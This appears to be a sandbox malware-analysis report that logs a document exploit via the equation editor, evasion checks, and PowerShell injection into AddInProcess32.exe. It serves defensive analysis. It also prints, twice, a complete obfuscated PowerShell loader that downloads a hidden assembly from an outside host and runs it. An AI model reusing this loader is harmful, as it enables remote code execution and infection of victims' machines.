Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: AddInProcess32.exe, 00000008.00000002.478863572.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLT-
Source: powershell.exe, 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.0000000002545000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 450000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598720	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1512			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7943			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 300	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 2864	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2204	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1764	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1764	Thread sleep time: -598720s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1764	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1764	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 2236	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 1012	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598720	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: AddInProcess32.exe, 00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: AddInProcess32.exe, 00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: AddInProcess32.exe, 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00205318 CheckRemoteDebuggerPresent,

8_2_00205318

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_03520629 mov edx, dword ptr fs:[00000030h]

2_2_03520629

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 41.216.183.13 80

Jump to behavior

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref (string)(&name)), ref (string)(&method)), typeof(CreateApi)))
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref (string)(&name)), ref (string)(&method)), typeof(CreateApi)))
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num7 + num14, array2, array2.Length, ref bytesWritten)
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs	Reference to suspicious API methods: lIuveTP8wwjVYKV1XP(VirtualAllocEx, processInformation.ProcessHandle, 0, length, 12288, 64)
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num15 + 8, ref buffer, 4, ref bytesWritten)
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, uRcQkDeJoO4.cs	Reference to suspicious API methods: zHSk.OpenProcess(C6Nh1Wz8.DuplicateHandle, bInheritHandle: true, (uint)_4aIajlwkXEt2.ProcessID)

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command ".( $pshome[21]+$pshome[34]+'x') ( ('t0vlink = amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235ama; t0vwebclient = new-object system.net.webclient; try { t0vdownloadeddata = t0vwebclient.downloaddata(t0vlink) } catch'+' { write-host amafailed to do'+'wnload data from t0vlin'+'kama -foregroundcolor red'+'; exit }; if ('+'t0vdownloadeddata -ne t0vnull) { t0vimagetext = [system.text.encoding]::ut'+'f8.getstring(t0vdownloadeddata); t0vstartflag = ama<<base64_start>>ama; t0vendflag = ama<<base64_end>>ama; t0vstartindex = t0vimagetext.indexof(t0vstartflag); t0vendindex = t0vimagetext.indexof(t0vendflag); if (t0vstartindex -ge 0 -and t0vendindex -gt t0vstart'+'index) { t0vstartindex += t0vstartf'+'lag.length; t0vbase64len'+'gth = t0vendindex - t0vstartindex; t0vba'+'se64command = t0vimagetext.substring(t0vstartindex, t0vb'+'ase64length); t0vcommandbytes = [system.convert]::frombase64string(t0vbase64c'+'ommand); t0vloadedassembly = [system.reflection.as'+'sembly]::load(t0vcommandbytes); t0vtype = t'+'0vloadedassembly.gettype('+'amarunpe.homeama); t0vmethod = t0vtype.getmethod(amavaiama).invoke(t'+'0vnull, [object[]] (amatxt.esablanoitidartruo/651'+'.342.3.291//:ptthama , '+'amadesativadoama , amadesativadoama'+' , amade'+'sativadoama,amaaddinpro'+'cess32ama,amaama)) } }set scriptblock t0vlink = amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612am'+'a; t0vwebclient = new-o'+'bject system.net.webclien'+'t; try { t0vdownloadeddata = t0vwebclient.downloaddata(t0vlink) } catch { write-host amafailed to download data from t0vlinkama -foregroundcolor red; exit }; if (t0vdownloadeddata -ne t0vnull) { t0vimagetext = [system.text.encoding]::utf8.'+'getstring(t0vdownloadeddata); t0vstartflag '+'= ama<<base64_start>>ama; t0vendflag = ama<<base64_end'+'>>ama; t0vstartindex = t'+'0vi'+'magetext.indexof(t0vstartflag'+'); t0vendindex = t0vimagetext.index'+'of(t0vendflag); if (t0vstartindex '+'-g'+'e 0 -and t0vendindex -gt t0vstartindex) { '+'t0vstartindex += t0vstartflag.length; t0vbase64l'+'ength = t0vendindex - t0vstartindex; t0vbase64command'+' = t0vimagetext.substring(t0vstartindex, t0vbase64length); t0vcommandb'+'ytes = [sy'+'stem.convert]:'+':frombase64string(t0vbase64command); t0vloadedassembly = [system.reflection.assembly]::load(t0vcommandbytes); t0vtype = t0vloadedassembly.'+'gettype(amarunpe.homeama); t0vmethod ='+' t0vtype.getmet'+'hod(amavaiama).invoke(t0vnull,'+' [ob'+'ject[]] (amatxt.esabla'+'noitidartruo/651.342.'+'3.291//:ptthama , amadesativadoama , amadesativadoama , amadesativadoama,amaaddinprocess32ama,amadesativadoama)) } }').replace('t0v','$').replace(([char]65+[char]109+[char]97),[string][char]39) )"
